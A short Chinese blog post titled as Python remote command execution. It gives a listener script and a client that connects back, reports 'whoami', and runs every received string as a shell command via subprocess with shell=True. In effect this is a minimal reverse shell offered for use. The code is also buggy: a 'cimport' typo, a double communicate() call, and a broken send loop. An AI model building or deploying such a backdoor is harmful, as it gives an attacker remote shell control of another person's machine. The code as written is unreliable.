Python 远程执行cmd命令
主机端
import socket
# 创建套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定ip地址与端口号
sock.bind(('127.0.0.1', 54321))
# 建立监听,最大连接数为5个
sock.listen(5)
# 接收客户端的连接
conn, client_addr = sock.accept()
# 通讯循环
while True:
# 接收消息
msg = conn.recv(4096) # 最大接收字节数为1024
if not msg:
continue
print(msg.decode('utf-8'))
reply = input('cmd>>')
conn.send(reply.encode('utf-8'))
# 断开连接
conn.close()
# 关闭套接字
sock.close()
客户端
cimport os
import socket
# 命令执行
import subprocess
def cmd2(ml):
print('cmd2' + ml)
try:
p = subprocess.Popen(ml,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
encoding='gb2312'
)
print(p.communicate()[0])
return p.communicate()[0]
except:
print('Error')
return 'Error\n'
# 创建套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
sock.connect(('127.0.0.1', 54321))
# 发送接收
def send(msg):
sock.send(msg.encode('utf-8')) # Mac操作系统使用utf-8编码方式
print('消息已发送')
global reply
reply = sock.recv(1024)
print('消息已接收')
return reply
send('客户上线 ' + cmd2('whoami'))
while True:
msg = cmd2(str(reply, encoding = "utf-8"))
if msg=='':
msg = '命令已执行'
else:
reply = send(msg)
# 断开连接
sock.close()
本文来自博客园,作者:Haibara-Z3r0,转载请注明原文链接:https://www.cnblogs.com/Yu-0/articles/16337743.html